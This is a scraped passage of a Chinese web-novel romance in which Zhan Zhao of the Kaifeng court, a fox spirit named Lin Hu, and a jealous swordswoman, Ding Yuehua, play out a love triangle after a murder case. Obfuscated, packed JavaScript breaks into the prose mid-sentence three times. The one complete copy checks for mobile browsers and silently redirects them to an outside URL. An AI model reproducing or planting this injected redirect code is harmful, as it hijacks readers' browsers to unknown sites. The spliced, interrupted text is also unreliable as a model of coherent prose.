班主的心理防线彻底崩溃,趴在地上痛哭流涕:“是她们逼我的!那些达官贵人玩弄戏班的姑娘时,怎么没人说不公?我不过是……不过是以其人之道还治其人之身……” “胡说!”展昭的剑又进了半寸,“柳家只是普通布商,苏家是绣坊匠人,金侍郎虽为官,却从未苛待过百姓。你残害无辜,还敢狡辩!” 他俯身从班主怀里搜出一本账册,翻开一看,上面密密麻麻记着人名和日期,除了已遇害的三位姑娘,还有十几个名字后面画着圈,想必是下一个目标。账册的最后一页,粘着块深蓝色的绸缎碎片,与苏婉指甲缝里的一模一样。 “带走。”展昭对闻讯赶来的衙役冷声道。班主被拖走时,嘴里还在胡言乱语,说那些姑娘都是自愿的,说她们早就对他暗生情愫。 林狐看着他的背影,突然觉得一阵恶寒,往展昭身边靠了靠。巷子里的桃花还在落,沾在她的头发上、肩膀上,像撒了把碎红。 “别怕。”展昭低头看她,手背上的伤口还在流血,滴在青石板上,与桃花瓣混在一起,分不清是血还是花,“都结束了。” 林狐没说话,只是伸手抓住他流血的手,小心翼翼地用指尖碰了碰伤口。她的指尖带着微凉的体温,触得展昭的手背轻轻一颤。 24. 花蝴蝶的香囊(三) 回到开封府时,天已微亮。公孙策提着药箱匆匆赶来,见了展昭手背上的伤口,眉头皱得像团乱麻:“怎么这么不小心?这匕首上怕是淬了东西,你看这血都发暗了。” 他取来烈酒消毒,棉花球擦过伤口时,展昭的指尖几不可察地抖了抖。林狐蹲在一旁看着,尾巴尖随着公孙策的动作一紧一松,突然开口:“公孙先生,能让我试试吗?” 公孙策愣了愣,展昭也看向她。林狐的眼睛亮晶晶的,带着点恳求:“狐狸的唾液能消炎,我以前在山里摔破腿,舔几天就好了。” 公孙策犹豫了一下,看了展昭一眼。展昭点头:“让她试试吧。” 林狐立刻凑上前,小心翼翼地低下头,伸出舌头轻轻舔了舔他的伤口。她的动作很轻,舌尖带着点温热的湿意,还有淡淡的桃花香——想来是方才在巷子里沾了不少花瓣。血腥味混着桃花香缠在舌尖,钻进展昭的鼻腔,奇异地熨帖了伤口的刺痛。 她舔得很认真,像在处理什么稀世珍宝,小舌头一下一下地扫过伤口周围,把污血都舔干净了。展昭低头看着她毛茸茸的头顶,晨光从窗棂照进来,在她的耳朵上镀了层金边,那层柔软的绒毛随着呼吸轻轻颤动,像两片收拢的蝶翼。 周围的衙役都看直了眼,连公孙策都忍不住露出笑意。林狐舔完最后一下,抬起头,鼻尖上沾了点血珠,像颗小红豆:“疼吗?我以前摔破腿,舔舔就好了。” 展昭的喉结滚了滚,指尖在她后背停了停,声音低哑得像被晨露浸过:“……不疼。” 公孙策取来金疮药敷上,用白布仔细包扎好,又叮嘱了几句“别碰水”“按时换药”,便收拾药箱离开了,临走时还意味深长地看了展昭一眼。 偏厅里只剩下他们两人,晨光透过窗纸漫进来,把一切都染成淡淡的金。林狐突然想起什么,从怀里掏出个东西递过去——是颗用桃核雕的小狐狸,雕得歪歪扭扭,眼睛却很有神,想必是她昨夜在巷子里捡的。 “给你。”她的耳朵有点红,“刚才在巷子里看见的,觉得……觉得像我。” 展昭接过来,指尖摩挲着桃核上粗糙的纹路。这雕工实在算不上好,狐狸的尾巴歪歪扭扭,耳朵也一大一小,可不知为何,他竟觉得比那些精致的玉佩还顺眼。 “喜欢吗?”林狐眼巴巴地看着他,尾巴在身后轻轻晃着。 “喜欢。”展昭把桃核狐狸揣进怀里,贴着心口的位置,“很喜欢。” 林狐的脸瞬间红了,像被晨光染透的桃花,低下头,用脚尖轻轻踢着地面。 ***几日后,汴京的百姓都在传,那作恶多端的“花蝴蝶”终于被展护卫擒获了,竟是“艳春班”的班主。据说他年轻时曾被贵女羞辱,怀恨在心,才想出这等毒计报复。张砚虽有模仿之过,但念其精神失常,又未伤及人命,被杖责三十后逐出汴京。 开封府的桃花开得正盛,粉的、白的、红的,堆在枝头,像堆了团云霞。展昭处理完卷宗,走出书房时,看见林狐正在院子里追蝴蝶。她化了人形,穿着水绿色的襦裙,裙摆被风吹得鼓鼓的,像只展翅的蝶。 “慢点跑,小心摔着。”展昭走过去,声音里带着自己都未察觉的温柔。 林狐回头看见他,眼睛一亮,提着裙摆跑过来,停在他面前时,胸口还在微微起伏。一片桃花瓣落在她的耳朵上,沾着绒毛,像颗粉色的珍珠。 “你看!”她举起手里的香囊,是她新绣的,青缎子上绣着只威风凛凛的狐狸,旁边还歪歪扭扭地绣着把剑,“我绣的我们!” 展昭低头看着那香囊,忍不住笑了。狐狸的尾巴绣得太长,剑的形状也像根烧火棍,可针脚很密,看得出来费了不少心思。 “很好看。”他伸手,想把她耳朵上的桃花瓣摘下来。指尖刚要碰到,林狐却突然往前凑了凑,花瓣掉落在地,她的鼻尖几乎碰到他的下巴。 两人的呼吸瞬间交缠在一起,带着桃花的甜香。展昭的心跳漏了一拍,下意识地想后退,却被林狐抓住了手腕——正是他受伤的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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开封府的铜钟敲过三更时,展昭仍在灯下翻看卷宗。宣纸上的朱批密密麻麻,勾勒着皇宫失窃案的脉络——昨日三更,养心殿失窃了一枚赤金镶珠的印玺,那是先皇赐给当今圣上的私印,虽无实权,却关乎皇家颜面。 “展护卫,”衙役轻手轻脚地进来,捧着盏新沏的热茶,“公孙先生说您这几日没合眼,让您歇歇。” 展昭揉了揉眉心,指尖划过卷宗上的“丁家庄”三字。根据线报,失窃的印玺极有可能流入江南,而江南地面上,最熟悉各路盗匪行踪的,莫过于丁氏双侠。 他起身走到窗边,夜风带着三月的凉意钻进来,吹得烛火晃了晃。偏厅的方向还亮着灯,林狐大概还没睡,说不定正抱着那只绣了一半的香囊,在软榻上打盹。 这次去江南,路途遥远,少说也要半月。山路崎岖,江湖险恶,他实在不舍得让她跟着吃苦。更何况,丁氏双侠是江湖中人,行事不拘小节,若是知道他身边跟着只狐妖…… “备马。”展昭的声音在寂静的夜里格外清晰,“天亮前出发。” 他没去告别。走到偏厅外时,看见窗纸上映着只毛茸茸的影子,正蜷缩在软榻上,尾巴圈着自己的脑袋,像个灰扑扑的毛团。展昭站了片刻,终究还是转身离开,靴底碾过青石板的声音,轻得像怕惊醒了她的梦。 ***五日后,江南丁家庄。 青瓦白墙映着碧水,岸边的垂柳把影子泡在水里,像幅泼墨的画。丁兆兰、丁兆蕙兄弟站在庄门口相迎,见了展昭,抱拳笑道:“展护卫大驾光临,丁家庄蓬荜生辉!” 展昭回礼:“丁大侠客气了,展昭此来,是有要事相求。” 进了庄院,才发现早已摆好了宴席。八仙桌上摆满了江南特色的菜肴,水晶虾饺透着粉红,松鼠鳜鱼淋着琥珀色的糖醋汁,还有坛十年陈的女儿红,酒香飘得满院都是。 “展护卫先别急着谈正事,”丁兆蕙给展昭斟上酒,眼睛里闪着狡黠的光,“一路辛苦,先喝杯薄酒暖暖身子。” 酒过三巡,丁兆兰突然拍了拍手。屏风后走出个穿湖蓝色衣裙的姑娘,柳叶眉,杏核眼,腰间悬着柄短剑,步履轻盈得像朵云。她走到厅中,对着展昭福了福身,声音清脆如莺啼:“小女子丁月华,见过展护卫。” 展昭起身回礼,目光在她腰间的短剑上顿了顿——那剑鞘镶着翡翠,一看便知是柄好剑。 “舍妹月华,自幼习武,最敬佩的就是展护卫这样的英雄好汉,”丁兆兰笑着说,“听闻展护卫要来,说什么都要见见。” 丁月华抬眼看向展昭,眼神里带着点挑战:“久闻展护卫剑法卓绝,江湖人称‘南侠’,小女子不才,想向展护卫讨教一二。” 展昭有些为难。他素来恪守“男女授受不亲”,与女子比武终究不妥。可丁氏双侠是江湖前辈,这般盛情邀请,若是推辞,反倒显得他不识抬举。 “展护卫不必顾虑,”丁兆蕙看出他的犹豫,笑道,“月华虽是女子,却也懂江湖规矩,点到即止,不会让展护卫为难。” 展昭沉吟片刻,点头:“既如此,展昭献丑了。” ***演武场设在后院的空地上,青石板铺得平整,四周种着圈翠竹,风一吹,竹叶沙沙响,像在为这场比武伴奏。 展昭拔出巨阙剑,剑身映着日光,亮得晃眼。丁月华也抽出短剑,剑名“湛卢”,是柄上古名剑,此刻在她手中,竟带着几分英气。 “请。”丁月华剑尖一指,率先出招。她的剑法灵动飘逸,像江南的流水,看似柔和,却暗藏凌厉。展昭见招拆招,巨阙剑沉猛厚重,总能在间不容发之际挡住她的攻势。 两人的身影在演武场上穿梭,剑光交织,像两道闪电。丁月华越打越心惊——她自幼习武,在江南少有对手,可在展昭面前,竟丝毫占不到便宜。他的剑法看似缓慢,却招招都封死了她的去路,仿佛她的每一个动作,都在他的预料之中。 其实展昭并未尽全力。他看得出丁月华的剑法颇有根基,只是经验稍逊。更何况,她是女子,又是丁氏双侠的妹妹,他怎好真的伤了她? 三十招过后,两人同时收剑。丁月华的脸颊泛着红,呼吸有些急促,看向展昭的眼神里,多了几分敬佩。 “展护卫剑法果然名不虚传,”她抱拳道,“月华输了。” “丁姑娘承让了。”展昭收剑回鞘,语气诚恳,“姑娘的剑法灵动精妙,展昭佩服。” 这场比武,在外人看来是平手,可丁氏双侠何等精明,早已看出展昭留了情面。丁兆兰抚着胡须,眼里的笑意更深了—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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快马加鞭赶回开封时,已是半月后。夕阳把城墙染成金红色,展昭勒住马,看着熟悉的城门,心里突然涌起一阵急切——不知道那只小狐狸,有没有好好吃饭,有没有又偷偷跑去碧波潭玩水,有没有……想他。 26. 灯暖人归,意难平 开封府的灯笼次第亮起时,展昭终于跨进了熟悉的门槛。衙役见了他,笑着迎上来:“展护卫回来啦!林狐姑娘可把您盼坏了,天天在您房门口转悠呢。” 展昭的心像被温水泡过,软得发颤。他把缰绳递给衙役,大步往卧房走,脚步快得带起一阵风。 还没走到门口,就看见自己的卧房亮着灯。窗纸上映着个纤细的人影,正坐在桌前,手里似乎在摆弄着什么。 展昭推开门的瞬间,那身影猛地站起来,转身看向他。 林狐穿着件不太合身的青布衣裙,想必是府里丫鬟的。外面却松松垮垮地裹着件绯红的官袍——是他临走时落在榻上的那件。袍子太长,拖在地上,沾了点灰尘,却被她紧紧裹在身上,像只偷穿了大人衣服的小猫。 “展昭!”她喊了一声,声音里带着点不易察觉的哽咽,下一秒,就像只归巢的鸟儿,扑上来紧紧抱住了他的腰。 脸埋进他后背的瞬间,展昭浑身的肌肉骤然绷紧。旅途的疲惫、打斗的戾气,在这一刻仿佛都被这突如其来的拥抱驱散了。他能清晰地感受到她胸口的起伏,感受到她脸颊贴在背上的温度,感受到她圈在腰间的手臂有多用力,像是怕一松手,他就又要消失。 “我回来了。”展昭的声音低得像叹息,反手摸了摸她的头发。指尖触到发间的草屑,还有点湿润的泥土——想必是她又跑去院子里的老槐树下等他了。 林狐没说话,只是把脸埋得更深,鼻子蹭着他的衣襟,像在确认什么。片刻后,她闷闷的声音从背后传来:“你身上有血腥味,是不是打架了?” “没事。”展昭的手轻轻拍了拍她的背,像安抚一只受了委屈的小兽,“一点小伤,不碍事。” 他转过身,想看看她有没有瘦了。林狐却还抱着他的腰不肯松手,毛茸茸的耳朵从发间探出来,轻轻蹭着他的脖颈,带着点撒娇的意味。 “我以为你不回来了。”她的声音带着点鼻音,“你走了那么久,我问公孙先生,他总说快了,可你就是不回来……” 展昭的心像被针扎了一下,疼得发紧。他低头,看着她泛红的眼眶,看着她紧紧攥着自己衣襟的手指,突然觉得这半月的奔波,都值了。 “对不起,”他的声音放得更柔,指尖轻轻拂去她发间的草屑,“让你等久了。” 林狐这才抬起头,眼睛亮晶晶的,像落了两颗星星。她松开手,往后退了半步,打量着他:“你瘦了,也黑了。是不是在外面没吃好?我让张厨子给你做你爱吃的糖醋鱼好不好?” “好。”展昭笑着点头,目光落在她身上那件宽大的官袍上。袍子的领口滑到她的肩头,露出小块白皙的皮肤,在灯光下泛着柔和的光。 房间的月光从窗棂漏进来,刚好落在她的脚踝上,像系了根银链子。展昭的指尖悬在半空,想碰,又觉得不妥,终究还是收了回来。 烛火在铜烛台上噼啪作响,把两人的呼吸都烘得暖烘烘的。林狐走到桌边,拿起一个香囊递给她——是她绣了一半的那个,上面的小狐狸已经绣好了,旁边的剑却只绣了个剑柄。 “我绣不好剑,”她有点不好意思地挠挠头,“等你教我。” “好,我教你。”展昭接过香囊,指尖摩挲着上面的针脚,心里软得一塌糊涂。 就在这时,门外传来蒋平的声音:“展护卫,你可算回来了!公孙先生让你……”他推门进来,看见房里的情景,突然闭了嘴,眼睛在展昭和林狐之间转了转,笑着说,“哎呀,我是不是来的不是时候?你们聊,你们聊,我先走了!” 他退出去时,还不忘把门轻轻带上,嘴里还哼着不成调的小曲。 林狐的脸瞬间红了,往展昭身后躲了躲。展昭无奈地笑了笑,把她往自己身边拉了拉。 烛烟混着月光漫进来,在地上投下两道依偎的影子。林狐的依赖和展昭的隐忍被裹成一团,像灶膛里的火,不烈,却暖得能焐热骨头。 “对了,”林狐突然想起什么,抬头问他,“你在江南,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268118|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有遇到什么好玩的事?有没有……遇到好看的姑娘?” 展昭看着她亮晶晶的眼睛,里面藏着点小小的不安。他想起丁月华,想起那场比武,想起丁氏双侠的撮合,终究还是摇了摇头:“没有。一心查案,没留意别的。” 他不想让她知道丁月华的事,不是想隐瞒,只是怕她多想。这只小狐狸心思单纯,又爱吃醋,若是知道了,指不定要闹多久。 林狐显然相信了,眼睛亮得更厉害了,拉着他的手走到桌边:“我给你留了东西!”她从抽屉里拿出个油纸包,打开来是几块已经有点硬的桂花糕,“这是你走之前买的,我舍不得吃,一直放在这里,你尝尝?” 展昭拿起一块放进嘴里,虽然有点硬,却甜得恰到好处。他知道,这是她能想到的,最好的东西了。 “好吃。”他笑着说。 林狐笑得眼睛都眯成了一条缝,尾巴从官袍下探出来,轻轻扫着他的小腿,带着满足的亲昵。 窗外的月光越发明亮,透过窗纸照进来,在地上铺了层银霜。展昭看着身边的林狐,看着她眼里的自己,突然觉得,所有的江湖恩怨、世俗眼光,都抵不过此刻房里的一盏灯,和灯下的一个人。 他伸出手,轻轻揽住她的肩,把她往自己身边带了带。林狐顺从地靠过来,头枕在他的肩上,像只找到了港湾的小船。 “展昭,”她的声音软软的,带着点困意,“你以后去哪里,都带上我好不好?我不怕吃苦,也不怕危险,我就是……不想再等了。” 展昭的手臂紧了紧,把她抱得更紧了些,声音低沉而坚定:“好,以后去哪里,都带着你。” 烛火渐渐暗了下去,把两人的影子拉得很长很长。没人知道,在遥远的江南,有个穿湖蓝色衣裙的姑娘,正快马加鞭地往开封赶;也没人知道,这场尚未开始的纠葛,将会给这平静的开封府,带来怎样的波澜。 此刻,房里只有一盏灯,两个人,和一段刚刚开始,却已注定牵绊一生的情。 27. 汴京风起,故人来 开封府的晨雾总带着股淡淡的炊火气。寅时刚过,后厨的烟囱就冒起了青烟,张厨子的大嗓门穿透雾霭:“小李子,把蒸笼再垫两层笼布!展护卫爱吃的莲子羹要温着才好!” 演武场的青石板还凝着露水,展昭的剑尖划过地面,带起一串细碎的水珠,在晨光里折射出七彩的光。他练的是家传的“流云剑法”,招式舒展如行云流水,巨阙剑在他手中仿佛有了生命,每一次挥出都带着破空的轻啸,却又在收势时悄无声息,只惊起檐下几只早起的麻雀。 “展昭!” 林狐的声音像颗裹了蜜的石子,砸进这晨练的寂静里。她穿着身新做的水绿色襦裙,领口绣着三两只粉蝶,是公孙先生特意让人去西街“锦绣阁”定做的。手里提着的食盒用蓝印花布盖着,边角绣着缠枝莲,走得急了,布角在风里翻飞,露出里面白瓷碗的影子。 展昭收剑回鞘时,额角的汗珠正顺着下颌线往下滑,滴落在绯红官袍的衣襟上,洇出小小的深色痕迹。林狐跑到他面前,踮起脚尖想用帕子给他擦汗,可瞥见周围几个晨练的衙役正偷偷打量,耳朵尖“腾”地红了,手停在半空,帕子捏得皱巴巴的。 “我自己来。”展昭接过帕子,指尖不经意碰到她的手背,像触到了暖玉。林狐往后缩了缩,却把食盒往他怀里塞得更紧:“张厨子说莲子要去芯才不苦,他特意挑了南塘的白莲子,你快尝尝。” 食盒打开的瞬间,桂花的甜香漫开来。白瓷碗里的莲子羹泛着莹润的光泽,上面撒着层碾碎的桂花,碗边还摆着两瓣蜜渍的金橘,是林狐自己琢磨着加的——她记得展昭上次说过,江南的蜜饯比汴京的更清甜。 “你也吃。”展昭舀了一勺递到她嘴边,瓷勺碰着她的嘴唇,留下点温热的湿痕。林狐张嘴含住,莲子粉糯,桂花清甜,混着他指尖传来的温度,甜得让人心头发颤。她嚼着莲子,尾巴不知何时从裙摆下探出来,悄悄勾住他的手腕打了个结,像怕他下一秒就会跑掉。 这几日开封府格外太平。按宋时律例,秋分后要举行“秋决”,府里本应忙得脚不沾地,可今年案情清简,连包拯都难得在公堂后廊下晒起了卷宗。展昭处理完公务,便带着林狐在府里闲逛:教她写“展”字时,她总把最后一笔拖得老长,像条狐狸尾巴;看她绣香囊时,针脚歪歪扭扭,却偏要在狐狸旁边绣把剑,说是“展昭的剑要护着小狐狸”;或是坐在院子里的老槐树下,听她说碧波潭的鲤鱼精新得了颗夜明珠,能在水里照出三丈远。 这样的日子,像巷口“王记”卖的糖蒸酥酪,温吞,绵密,带着让人贪恋的甜。 ***巳时的太阳刚越过开封府的飞檐,门口突然传来一阵喧哗。张龙赵虎跑进来时,脸上的笑像揣了两颗熟石榴,憋得通红。 “展护卫,门口有位姑娘找您!”张龙嗓门大,一进院子就嚷嚷开,“穿湖蓝色衣裙,腰里悬着柄好剑,说是从江南来的丁姑娘,指名道姓要见您!” 展昭正帮林狐把掉在地上的线轴捡起来,闻言手猛地一顿,线轴滚落在地,缠得丝线乱成一团。他怎么忘了,丁月华那性子,比汴京盛夏的雷阵雨还执拗。 “我去看看。”他起身时,官袍的下摆扫过石桌,带倒了林狐刚泡好的菊花茶,茶水溅在青石板上,像朵迅速枯萎的花。 林狐蹲下身捡线轴,指尖被乱线刺了下,冒出个小红点。她看着展昭匆匆离去的背影,尾巴尖不安地扫着地面——江南来的丁姑娘?是他在江南查案时认识的人吗?为什么他听到这个名字,脸色会那么难看? ***开封府门前的石狮子被晒得发烫。丁月华站在台阶下,湖蓝色的衣裙沾了些尘土,鬓边的珍珠步摇歪了,却依旧挺直脊背,像株被风雨打过的翠竹。她身后跟着个小丫鬟,手里提着个描金漆盒,正不住地给她扇着风,嘴里念叨:“小姐,咱们都等了一个时辰了,要不先去旁边茶铺歇歇?” “不行。”丁月华的声音带着点沙哑,却透着股韧劲,“我不亲眼见到他,不亲口问个明白,绝不走。” 她从江南赶来汴京,整整走了十二日。白天骑马赶路,晚上就住驿站,脚上磨出了水泡,把锦缎的鞋底都磨穿了。丫鬟劝她坐船更舒服,她却不肯——她怕走慢了,展昭就会被那个“心有所属”的女子彻底抢走。 丁家庄在江南是望族,丁氏双侠的名号响当当,她自幼被捧在手心,要风得风要雨得雨。论家世,她是侠门贵女;论容貌,汴京城里的大家闺秀也未必及得上她;论武艺,她的“湛卢剑法”曾赢过不少江湖好手。她想不通,自己哪里比不上那个素未谋面的女子? “展昭!”看见那个熟悉的绯红身影出现在门口,丁月华的眼睛瞬间亮了,像燃着两簇小火苗。 展昭站在台阶上,居高临下地看着她。按宋时礼节,男女相见需有旁人在场,且需保持三尺距离,可丁月华此刻的眼神,炽热得让他不得不后退半步,拱手道:“丁姑娘远道而来,展昭有失远迎。只是府衙乃公务之地,还请姑娘移步茶肆说话。” 他刻意疏离的语气,像盆冷水浇在丁月华头上。她往前冲了两步,被守门的衙役拦住,急得眼圈都红了:“我不!我就在这里问你!你说的心有所属,到底是谁?我倒要看看,她是长了三头六臂,还是有通天的本事!” 周围很快围拢了看热闹的百姓。汴京人最爱听些才子佳人的韵事,更何况是“南侠”展昭的绯闻。有人指着丁月华议论:“这姑娘看着像江南来的,瞧着跟展护卫倒是般配。”也有人撇嘴:“我瞧悬,前几日还见展护卫带个穿绿裙子的姑娘去买糖葫芦呢,那亲近劲儿,不像普通朋友。” 张龙赵虎站在展昭身后,憋笑得肩膀直抖。他们跟着展昭多年,还是头回见他被姑娘堵门要说法,那张素来沉稳的脸,此刻红一阵白一阵,像染坊里没晾透的绸缎。 展昭的眉头拧成了疙瘩。他最不喜这般抛头露面,更不愿让林狐听见这些闲话。可丁月华的声音越来越大,眼泪在眼眶里打转,那副委屈的模样,倒显得他成了负心汉。 “丁姑娘,”他深吸一口气,声音冷得像淬了冰,“我与心上人相识已久,情投意合,绝非一时兴起。你我之间,从未有过婚约,更无承诺,何来‘辜负’之说?还请姑娘自重,莫要再在此喧哗,失了丁家庄的体面。” “体面?”丁月华像是被踩了尾巴的猫,突然拔高了声音,“在你眼里,我的真心就只配换来‘体面’二字?展昭,你告诉我,那个女人到底是谁?你让我见见她,若是她真的比我好,我丁月华二话不说,立刻回江南!” 就在这时,公孙策摇着扇子慢悠悠地走了出来。他穿着件月白色的直裰,手里把玩着颗蜜蜡珠子,一看这场面,便知道是怎么回事。按宋代官场规矩,外女不得擅入府衙,可丁氏双侠与开封府素有交情,直接赶人未免不近人情。 “这位便是丁家庄的月华姑娘吧?”公孙策笑眯眯地拱手,语气像春风拂过湖面,“老夫公孙策。听闻姑娘一路从江南赶来,辛苦了。汴京的秋景最是别致,不如先在府衙住几日,让老夫做东,带姑娘尝尝‘孙羊正店’的烤鸭,看看大相国寺的万佛殿?至于其他事,缓几日再说也不迟。” 他这番话给足了双方台阶。丁月华看着公孙策和善的脸,又看了看展昭紧绷的下颌线,心里的火气慢慢压了下去——她偏要住下,偏要看看那个女人到底长什么样,偏要让展昭知道,她丁月华不是那么好打发的。 “既如此,便叨扰公孙先生了。”她福了福身,语气里带着点不甘。 张龙领着丁月华往里走时,林狐正躲在影壁后面,手指紧紧抠着青砖缝。她听见了丁月华的话,也看见了展昭紧绷的侧脸,心里像被塞进了团湿漉漉的棉絮,又闷又沉。 “躲在这里做什么?”展昭的声音突然在身后响起,带着点不易察觉的温柔。 林狐转过身,眼圈红红的,却倔强地没掉眼泪:“我……我来看看你需不需要帮忙。” 展昭看着她被风吹乱的头 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可展昭只是侧身避开,同时伸手稳稳托住她的胳膊,力道不重,却带着不容置疑的距离感:“丁姑娘小心。” 丁月华的脸瞬间红了,不是羞的,是气的。她瞥见林狐依旧蹲在那里,手里拿着根草叶逗蚂蚁,仿佛根本没看见这一幕,心里的火气更旺了。 展昭处理公务时,她便端着茶进来,说是“丁家庄的云雾茶,给展护卫解乏”。她知道展昭案头的卷宗都是机密,却偏要凑过去看,手指划过那些记录凶案的字句:“展护卫天天看这些,不怕做噩梦吗?不像我,在家时只看些诗词话本。” 展昭只是把卷宗往旁边挪了挪,语气平淡:“公务在身,不敢懈怠。” 最让丁月华气闷的是吃饭时。按开封府的规矩,主仆不同席,外客可与官员同席。她特意换上件藕荷色的衣裙,头发梳得一丝不苟,戴着丁家庄祖传的玉簪,可展昭的目光却总落在林狐身上。 林狐吃饭慢,总爱把不爱吃的葱姜挑出来,展昭便不动声色地把自己碗里的鸡肉夹给她;林狐喝汤时会沾到嘴角,展昭便会递过帕子,眼神里的温柔,是丁月华从未见过的。 “这位妹妹看着面生,”丁月华终于忍不住开口,筷子在碗里戳着米饭,“不知是展护卫的什么亲戚?” 林狐刚要说话,就被展昭打断:“是家师故人之女,暂居府中。”他没说林狐是狐妖,一来怕惊了丁月华,二来,这是他藏在心底的秘密,像块暖玉,舍不得让外人触碰。 丁月华挑了挑眉,目光在林狐身上打转。这丫头穿着普通的布裙,头上也没戴什么首饰,看着就像府里的丫鬟,可展昭看她的眼神,分明藏着情意。她突然夹了块最大的糖醋鱼放在展昭碗里,声音娇俏:“展护卫尝尝这个,汴京的糖醋鱼比江南的甜,我特意让厨房多加了糖。” 展昭没动那块鱼,反而夹了块林狐爱吃的桂花糕放在她碗里:“你不是说昨天的桂花糕没吃够吗?” 林狐抬起头,冲他笑了笑,眼睛弯成了月牙。阳光透过窗棂照在她脸上,绒毛在鼻翼两侧若隐若现,像只满足的小狐狸。 丁月华看着这一幕,手里的筷子差点捏断。她从小到大连皇帝赏赐的御膳都吃过,却第一次觉得,自己像个多余的人。 夜里躺在床上,她摸着枕下那枚准备送给展昭的玉佩——是用和田暖玉雕的,上面刻着“侠骨柔情”四个字,是她亲手选的料子,请江南最好的工匠雕的。可现在看来,这玉佩像个笑话。 “小姐,要不咱们回江南吧?”丫鬟在一旁劝道,“这开封府的人,看着就排外。” “不回。”丁月华攥紧了玉佩,指节泛白,“我倒要看看,那丫头到底有什么本事。她不是喜欢缠着展昭吗?我就让她知道,什么叫自不量力。” 窗外的月光照进来,落在她倔强的脸上,像层冰冷的霜。她不知道,有些东西,不是争就能得来的,比如人心。 28. 围脖风波,意难平 汴京的秋意越来越浓,晨起的露水能打湿鞋面,院子里的青竹开始落叶,枯黄的叶片飘落在青石板上,被往来的脚步碾成碎末。 展昭坐在廊下看《洗冤录》,书页边缘被他翻得发卷。林狐蜷在他腿上打盹,尾巴盖在身上,像条毛茸茸的毯子。她昨天跟着公孙先生去药圃辨认草药,被蚊虫咬了好几个包,此刻睡梦中还皱着眉头,小爪子时不时挠挠胳膊。 展昭放下书,从怀里掏出个小瓷瓶——是公孙先生配的止痒药膏,他特意让人加了点薄荷,清凉不刺激。他轻轻掀起林狐的衣袖,胳膊上果然有几个小红点,像颗颗熟透的草莓。指尖沾了点药膏,小心翼翼地抹在红点上,动作轻得像怕碰碎了她。 林狐在梦里哼唧了两声,往他怀里钻了钻,鼻尖蹭到他的衣襟,闻到那熟悉的皂角香混着淡淡的墨香,瞬间安稳下来,嘴角还微微上扬,像是梦到了什么好事。 “展护卫倒是清闲。” 丁月华的声音突然像片冰碴子,落进这暖融融的晨景里。她穿着件杏色的秋衫,外面罩着件月白色的褙子,手里拿着件刚做好的围脖,青灰色的杭绸料子,上面用银线绣着几竿墨竹,针脚细密得能数清竹节。 展昭抬起头,眉头微蹙。按宋时礼节,女子不可随意进入男子的院落,更何况丁月华此刻的语气,带着毫不掩饰的敌意。 “丁姑娘有事?”他的声音平淡,却不着痕迹地把林狐往怀里拢了拢,挡住了她露在外面的胳膊。 “也没什么大事,”丁月华走到他面前,把围脖递过去,手指故意在他手背上碰了碰,“见天气凉了,展护卫日日在外奔波,我便做了件围脖。这杭绸是我爹从杭州带回来的,软和,挡风。” 展昭没接,只是淡淡道:“多谢丁姑娘好意,只是展昭素来用不上这些。按开封府规矩,外客赠礼需经公孙先生登记,还请姑娘见谅。”他特意加重了“外客”二字,像划了条无形的界线。 丁月华的手僵在半空,脸上的笑容差点挂不住。她低头看着自己绣了三个晚上的围脖——为了绣好那几竿竹,她扎破了七根手指,可在他眼里,竟不如一句冷冰冰的“规矩”。 她的目光落在展昭腿上的林狐身上,这丫头睡得正香,嘴角还沾着点可疑的糖渣,显然是又偷吃了展昭的点心。一股莫名的火气从心底窜上来,像被点燃的引线。 “这狐狸倒是乖巧,”丁月华的声音带着点嘲讽,目光在林狐身上打转,像在打量件货物,“皮毛油光水滑的,看着就暖和。汴京的冬天冷,若是做成围脖,定比这青灰色的杭绸好看,也实用得多。” 林狐的耳朵“唰”地竖了起来,像两片警惕的小雷达。她虽然没完全醒,却听懂了“做围脖”三个字,喉咙里立刻发出“呜呜”的低吼,浑身的毛都炸开。 丁月华的指尖离林狐的尾巴只有半寸时,展昭的手已经像铁钳般扣住了她的手腕。按宋代礼法,男子与未婚女子肌肤相亲已是失礼,可他此刻眼中的寒意,让丁月华忘了计较这些——那是她从未见过的冰冷,像汴河深处终年不化的寒冰。 “丁姑娘慎言!”展昭的声音里淬着霜,每个字都砸在青石板上,“林狐不是牲畜,是我的亲人,还请姑娘放尊重些!”他刻意加重的“亲人”二字,像道无形的墙,把丁月华彻底挡在了外面。 “亲人?”丁月华像是被火烫了般甩开他的手,退了两步,湖蓝色的裙摆扫过阶前的青苔,带起几片枯叶,“展护卫竟与一只畜生称兄道弟?说出去怕是要让人笑掉大牙!”她的声音发颤,一半是气,一半是慌——她从未想过,展昭会为了一只狐狸,对自己如此不留情面。 说话间,她突然再次伸手,这次的目标是林狐的耳朵。她见过江南猎户剥狐皮,知道耳根处的皮毛最软,最适合做围脖的里子。“让我看看,这狐狸的皮毛到底有多好,配不配做我的围脖!” 